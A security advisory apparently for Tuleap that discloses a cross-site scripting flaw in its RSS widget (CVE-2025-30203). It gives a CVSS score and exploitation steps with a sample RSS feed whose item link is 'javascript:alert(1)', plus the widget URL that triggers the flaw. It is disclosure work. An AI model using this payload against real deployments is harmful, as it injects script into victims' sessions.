The URLs of the entries of the feed are not sanitized before being rendered.
Impact
A project administrator or someone with control over an used RSS feed could use this vulnerability to force victims to execute uncontrolled code.
CVSSv3.1 score: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:L)
Exploitation
- Have an RSS feed somewhere with the following content:
<?xml version='1.0' encoding='UTF-8'?>
<rss version="2.0" nsmap="{'atom': 'http://www.w3.org/2005/Atom', 'content': 'http://purl.org/rss/1.0/modules/content/'}">
<channel>
<title>XSS Feed</title>
<docs>http://www.rssboard.org/rss-specification</docs>
<item>
<title>XSS Link</title>
<link>javascript:alert(1)</link>
<description>Desc</description>
</item>
</channel>
</rss>
- Create a RSS widget linking to it
- Access directly to widget content (issue cannot be triggered in the dashboard page), via
https://tuleap.example.com/widgets/?dashboard_id=<dashboard_id>&action=ajax&name%5B<myrss || projectrss>%5D=<widget_id> (replace the item between < and > with the appropriate values)
References
CWE 84
OWASP Cross-site Scripting
CVE-2025-30203